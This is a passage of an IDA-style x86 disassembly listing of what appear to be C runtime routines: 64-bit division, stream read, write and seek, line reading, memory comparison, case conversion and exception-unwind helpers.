loc_40E7E8:				; CODE XREF: sub_40E770+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_40E770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E810	proc near		; CODE XREF: sub_405C48+5Fp
					; sub_405C48+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40E831
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_40E831:				; CODE XREF: sub_40E810+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40E84D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_40E84D:				; CODE XREF: sub_40E810+27j
		or	eax, eax
		jnz	short loc_40E869
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40E8AA
; ---------------------------------------------------------------------------


loc_40E869:				; CODE XREF: sub_40E810+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_40E877:				; CODE XREF: sub_40E810+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40E877
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40E8A5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_40E8A5
		jb	short loc_40E8A6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_40E8A6


loc_40E8A5:				; CODE XREF: sub_40E810+85j
					; sub_40E810+8Bj
		dec	esi


loc_40E8A6:				; CODE XREF: sub_40E810+8Dj
					; sub_40E810+93j
		xor	edx, edx
		mov	eax, esi


loc_40E8AA:				; CODE XREF: sub_40E810+57j
		dec	edi
		jnz	short loc_40E8B4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40E8B4:				; CODE XREF: sub_40E810+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_40E810	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8BA	proc near		; CODE XREF: sub_40E8E4+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_412D81
		test	eax, eax
		jnz	short loc_40E8CE
		mov	dword_4C5904, 18h
		retn
; ---------------------------------------------------------------------------


loc_40E8CE:				; CODE XREF: sub_40E8BA+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_412C19
		add	esp, 10h
		retn
sub_40E8BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8E4	proc near		; CODE XREF: sub_4060C7+17p
					; sub_406231+BDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40E8BA
		add	esp, 0Ch
		retn
sub_40E8E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8F7	proc near		; CODE XREF: sub_406231+1E7p
					; sub_408EF0+42Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		push	edi
		or	edi, 0FFFFFFFFh
		test	al, 40h
		jz	short loc_40E90C
		or	eax, 0FFFFFFFFh
		jmp	short loc_40E946
; ---------------------------------------------------------------------------


loc_40E90C:				; CODE XREF: sub_40E8F7+Ej
		test	al, 83h
		jz	short loc_40E944
		push	esi
		call	sub_410806
		push	esi
		mov	edi, eax
		call	sub_412EA6
		push	dword ptr [esi+10h]
		call	sub_412DF3
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_40E932
		or	edi, 0FFFFFFFFh
		jmp	short loc_40E944
; ---------------------------------------------------------------------------


loc_40E932:				; CODE XREF: sub_40E8F7+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_40E944
		push	eax
		call	sub_40E359
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_40E944:				; CODE XREF: sub_40E8F7+17j
					; sub_40E8F7+39j ...
		mov	eax, edi


loc_40E946:				; CODE XREF: sub_40E8F7+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_40E8F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E94D	proc near		; CODE XREF: sub_4060F4+26p
					; sub_408EF0+1B2p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	ecx, edi
		mov	[ebp+var_8], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_40E971
		xor	eax, eax
		jmp	loc_40EA1C
; ---------------------------------------------------------------------------


loc_40E971:				; CODE XREF: sub_40E94D+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40E985
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_40E991
; ---------------------------------------------------------------------------


loc_40E985:				; CODE XREF: sub_40E94D+2Ej
		mov	[ebp+var_4], 1000h
		jmp	short loc_40E991
; ---------------------------------------------------------------------------


loc_40E98E:				; CODE XREF: sub_40E94D+C5j
		mov	ecx, [ebp+arg_0]


loc_40E991:				; CODE XREF: sub_40E94D+36j
					; sub_40E94D+3Fj
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40E9C3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40E9C3
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_40E9A8
		mov	edi, eax


loc_40E9A8:				; CODE XREF: sub_40E94D+57j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_40E3A0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_8]
		jmp	short loc_40EA0E
; ---------------------------------------------------------------------------


loc_40E9C3:				; CODE XREF: sub_40E94D+4Aj
					; sub_40E94D+51j
		cmp	ecx, [ebp+var_4]
		jb	short loc_40E9F6
		cmp	[ebp+var_4], 0
		mov	eax, ecx
		jz	short loc_40E9D9
		xor	edx, edx
		div	[ebp+var_4]
		mov	eax, ecx
		sub	eax, edx


loc_40E9D9:				; CODE XREF: sub_40E94D+81j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41050F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EA20
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EA30
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_40EA0E
; ---------------------------------------------------------------------------


loc_40E9F6:				; CODE XREF: sub_40E94D+79j
		push	esi
		call	sub_40D9DD
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40EA24
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40EA0E:				; CODE XREF: sub_40E94D+74j
					; sub_40E94D+A7j
		cmp	[ebp+arg_0], 0
		jnz	loc_40E98E
		mov	eax, [ebp+arg_8]


loc_40EA1B:				; CODE XREF: sub_40E94D+E1j
		pop	esi


loc_40EA1C:				; CODE XREF: sub_40E94D+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EA20:				; CODE XREF: sub_40E94D+9Bj
		or	dword ptr [esi+0Ch], 10h


loc_40EA24:				; CODE XREF: sub_40E94D+B3j
					; sub_40E94D+E7j
		mov	eax, edi
		sub	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_40EA1B
; ---------------------------------------------------------------------------


loc_40EA30:				; CODE XREF: sub_40E94D+A0j
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_40EA24
sub_40E94D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA36	proc near		; CODE XREF: sub_406231+12Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_40EA4A
		xor	eax, eax
		jmp	short loc_40EA80
; ---------------------------------------------------------------------------


loc_40EA4A:				; CODE XREF: sub_40EA36+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_40EA7A
		mov	esi, [ebp+arg_8]


loc_40EA53:				; CODE XREF: sub_40EA36+42j
		dec	dword ptr [esi+4]
		js	short loc_40EA62
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_40EA69
; ---------------------------------------------------------------------------


loc_40EA62:				; CODE XREF: sub_40EA36+20j
		push	esi
		call	sub_40D9DD
		pop	ecx


loc_40EA69:				; CODE XREF: sub_40EA36+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EA84
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_40EA7A
		dec	[ebp+arg_4]
		jnz	short loc_40EA53


loc_40EA7A:				; CODE XREF: sub_40EA36+18j
					; sub_40EA36+3Dj ...
		and	byte ptr [edi],	0


loc_40EA7D:				; CODE XREF: sub_40EA36+55j
		mov	eax, ebx
		pop	esi


loc_40EA80:				; CODE XREF: sub_40EA36+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40EA84:				; CODE XREF: sub_40EA36+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_40EA7A
		xor	ebx, ebx
		jmp	short loc_40EA7D
sub_40EA36	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_40EAE2
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_40EAE3
		test	eax, 1
		jz	short loc_40EAC3
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_40EB10
		add	esi, 1
		add	edi, 1
		sub	eax, 1
		jz	short loc_40EAE0


loc_40EAC3:				; CODE XREF: .text:0040EAB0j
					; .text:0040EADEj
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40EB10
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_40EB10
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_40EAC3


loc_40EAE0:				; CODE XREF: .text:0040EAC1j
					; .text:0040EB1Aj
		pop	edi
		pop	esi

locret_40EAE2:				; CODE XREF: .text:0040EA96j
		retn
; ---------------------------------------------------------------------------


loc_40EAE3:				; CODE XREF: .text:0040EAA9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_40EB18
		repe cmpsd
		jz	short loc_40EB18
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_40EB0B
		cmp	ch, dh
		jnz	short loc_40EB0B
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_40EB0B
		cmp	ch, dh


loc_40EB0B:				; CODE XREF: .text:0040EAF9j
					; .text:0040EAFDj ...
		mov	eax, 0


loc_40EB10:				; CODE XREF: .text:0040EAB6j
					; .text:0040EAC9j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EB18:				; CODE XREF: .text:0040EAEBj
					; .text:0040EAEFj
		test	eax, eax
		jz	short loc_40EAE0
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_40EB0B
		sub	eax, 1
		jz	short loc_40EB45
		cmp	dh, ch
		jnz	short loc_40EB0B
		sub	eax, 1
		jz	short loc_40EB45
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_40EB0B
		sub	eax, 1


loc_40EB45:				; CODE XREF: .text:0040EB27j
					; .text:0040EB30j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB48	proc near		; CODE XREF: sub_407C1D+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_C]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_40FBCF
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_40EB98
		dec	[ebp+var_1C]
		js	short loc_40EB8B
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40EB98
; ---------------------------------------------------------------------------


loc_40EB8B:				; CODE XREF: sub_40EB48+39j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40FA2B
		pop	ecx
		pop	ecx


loc_40EB98:				; CODE XREF: sub_40EB48+34j
					; sub_40EB48+41j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40EB48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB9E	proc near		; CODE XREF: sub_411BB3+9p

var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4C5998, 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		jz	loc_40EC5F
		cmp	dword_4214E8, 0
		jz	short loc_40EBC8
		cmp	ebx, 7Fh
		jbe	loc_40EC5F


loc_40EBC8:				; CODE XREF: sub_40EB9E+1Fj
		xor	esi, esi
		mov	edi, 100h
		inc	esi
		cmp	ebx, edi
		jnb	short loc_40EBF6
		cmp	dword_4214F4, esi
		jle	short loc_40EBE7
		push	esi
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_40EBF2
; ---------------------------------------------------------------------------


loc_40EBE7:				; CODE XREF: sub_40EB9E+3Cj
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, esi


loc_40EBF2:				; CODE XREF: sub_40EB9E+47j
		test	eax, eax
		jz	short loc_40EC6C


loc_40EBF6:				; CODE XREF: sub_40EB9E+34j
		mov	edx, off_4214EC
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_40EC1A
		and	[ebp+var_2], 0
		push	2
		mov	[ebp+var_4], al
		mov	[ebp+var_3], bl
		pop	eax
		jmp	short loc_40EC23
; ---------------------------------------------------------------------------


loc_40EC1A:				; CODE XREF: sub_40EB9E+6Bj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], bl
		mov	eax, esi


loc_40EC23:				; CODE XREF: sub_40EB9E+7Aj
		push	esi
		push	dword_4C59A8
		lea	ecx, [ebp+var_8]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	dword_4C5998
		call	sub_412ED1
		add	esp, 20h
		test	eax, eax
		jz	short loc_40EC6C
		cmp	eax, esi
		jnz	short loc_40EC52
		movzx	eax, [ebp+var_8]
		jmp	short loc_40EC6E
; ---------------------------------------------------------------------------


loc_40EC52:				; CODE XREF: sub_40EB9E+ACj
		movzx	ecx, [ebp+var_7]
		xor	eax, eax
		mov	ah, [ebp+var_8]
		or	eax, ecx
		jmp	short loc_40EC6E
; ---------------------------------------------------------------------------


loc_40EC5F:				; CODE XREF: sub_40EB9E+12j
					; sub_40EB9E+24j
		cmp	ebx, 41h
		jl	short loc_40EC6C
		cmp	ebx, 5Ah
		lea	eax, [ebx+20h]
		jle	short loc_40EC6E


loc_40EC6C:				; CODE XREF: sub_40EB9E+56j
					; sub_40EB9E+A8j ...
		mov	eax, ebx


loc_40EC6E:				; CODE XREF: sub_40EB9E+B2j
					; sub_40EB9E+BFj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EB9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC73	proc near		; CODE XREF: sub_408EF0+207p
					; sub_408EF0+29Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	[ebp+var_8], edi
		mov	ebx, edi
		jnz	short loc_40EC97
		xor	eax, eax
		jmp	loc_40ED62
; ---------------------------------------------------------------------------


loc_40EC97:				; CODE XREF: sub_40EC73+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40ECAB
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_40ECB2
; ---------------------------------------------------------------------------


loc_40ECAB:				; CODE XREF: sub_40EC73+2Ej
		mov	[ebp+var_4], 1000h


loc_40ECB2:				; CODE XREF: sub_40EC73+36j
					; sub_40EC73+E5j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_40ECE6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40ECE6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_40ECCC
		mov	edi, eax


loc_40ECCC:				; CODE XREF: sub_40EC73+55j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_40E3A0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_40ED28
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC73+48j
					; sub_40EC73+4Fj
		cmp	ebx, [ebp+var_4]
		jb	short loc_40ED2D
		test	ecx, ecx
		jz	short loc_40ECFA
		push	esi
		call	sub_410806
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED66


loc_40ECFA:				; CODE XREF: sub_40EC73+7Aj
		cmp	[ebp+var_4], 0
		mov	edi, ebx
		jz	short loc_40ED0B
		xor	edx, edx
		mov	eax, ebx
		div	[ebp+var_4]
		sub	edi, edx


loc_40ED0B:				; CODE XREF: sub_40EC73+8Dj
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41330B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40ED71
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_40ED71


loc_40ED28:				; CODE XREF: sub_40EC73+71j
		mov	edi, [ebp+var_8]
		jmp	short loc_40ED56
; ---------------------------------------------------------------------------


loc_40ED2D:				; CODE XREF: sub_40EC73+76j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		push	esi
		push	eax
		call	sub_40FA2B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_40ED66
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		test	eax, eax
		mov	[ebp+var_4], eax
		jg	short loc_40ED56
		mov	[ebp+var_4], 1


loc_40ED56:				; CODE XREF: sub_40EC73+B8j
					; sub_40EC73+DAj
		test	ebx, ebx
		jnz	loc_40ECB2
		mov	eax, [ebp+arg_8]


loc_40ED61:				; CODE XREF: sub_40EC73+FCj
		pop	esi


loc_40ED62:				; CODE XREF: sub_40EC73+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ED66:				; CODE XREF: sub_40EC73+85j
					; sub_40EC73+CCj
		mov	eax, edi


loc_40ED68:				; CODE XREF: sub_40EC73+105j
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------


loc_40ED71:				; CODE XREF: sub_40EC73+AAj
					; sub_40EC73+B3j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_8]
		jmp	short loc_40ED68
sub_40EC73	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ED7A	proc near		; CODE XREF: sub_408EF0+1A5p
					; sub_408EF0+1F6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		push	edi
		jz	short loc_40EDF8
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40ED99
		cmp	edi, 1
		jz	short loc_40ED99
		cmp	edi, 2
		jnz	short loc_40EDF8


loc_40ED99:				; CODE XREF: sub_40ED7A+13j
					; sub_40ED7A+18j
		and	eax, 0FFFFFFEFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_40EDB1
		push	esi
		call	sub_41354B
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_40EDB1:				; CODE XREF: sub_40ED7A+28j
		push	esi
		call	sub_410806
		mov	eax, [esi+0Ch]
		test	al, al
		pop	ecx
		jns	short loc_40EDC7
		and	eax, 0FFFFFFFCh
		mov	[esi+0Ch], eax
		jmp	short loc_40EDDB
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40ED7A+43j
		test	al, 1
		jz	short loc_40EDDB
		test	al, 8
		jz	short loc_40EDDB
		test	ah, 4
		jnz	short loc_40EDDB
		mov	dword ptr [esi+18h], 200h


loc_40EDDB:				; CODE XREF: sub_40ED7A+4Bj
					; sub_40ED7A+4Fj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_4134BF
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40EE05
; ---------------------------------------------------------------------------


loc_40EDF8:				; CODE XREF: sub_40ED7A+Bj
					; sub_40ED7A+1Dj
		mov	dword_4C5904, 16h
		or	eax, 0FFFFFFFFh


loc_40EE05:				; CODE XREF: sub_40ED7A+7Cj
		pop	edi
		pop	esi
		retn
sub_40ED7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE08	proc near		; CODE XREF: sub_413B3D+60p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_40EE08	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_40EE38	proc near		; CODE XREF: sub_4137C9+25p
					; sub_4139C1+149p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40EE38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE3F	proc near		; CODE XREF: sub_40EEEB+5Ap
					; sub_413B3D:loc_413B60p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_40EE68
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_417E84	; RtlUnwind


loc_40EE68:				; DATA XREF: sub_40EE3F+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40EE3F	endp

; ---------------------------------------------------------------------------


loc_40EE91:				; CODE XREF: .text:00417FE2j
					; .text:00417FECj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_413E3D
		add	esp, 20h
		mov	[ebp-4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40EEC7:				; DATA XREF: sub_40F043+17o
		cld
		mov	eax, [esp+8]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	dword ptr [esp+20h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [esp+20h]
		call	sub_413E3D
		add	esp, 20h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EEEB	proc near		; DATA XREF: sub_40F094+Bo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_40EF0C
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_40EF59
; ---------------------------------------------------------------------------


loc_40EF0C:				; CODE XREF: sub_40EEEB+10j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_413E3D
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_40EF4A
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_40EE3F


loc_40EF4A:				; CODE XREF: sub_40EEEB+52j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_40EF59:				; CODE XREF: sub_40EEEB+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40EEEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF5C	proc near		; CODE XREF: sub_413BA4+54p
					; sub_413C66+D7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi
		jl	short loc_40EFB2


loc_40EF7A:				; CODE XREF: sub_40EF5C+51j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40EF84
		call	sub_413F0C


loc_40EF84:				; CODE XREF: sub_40EF5C+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
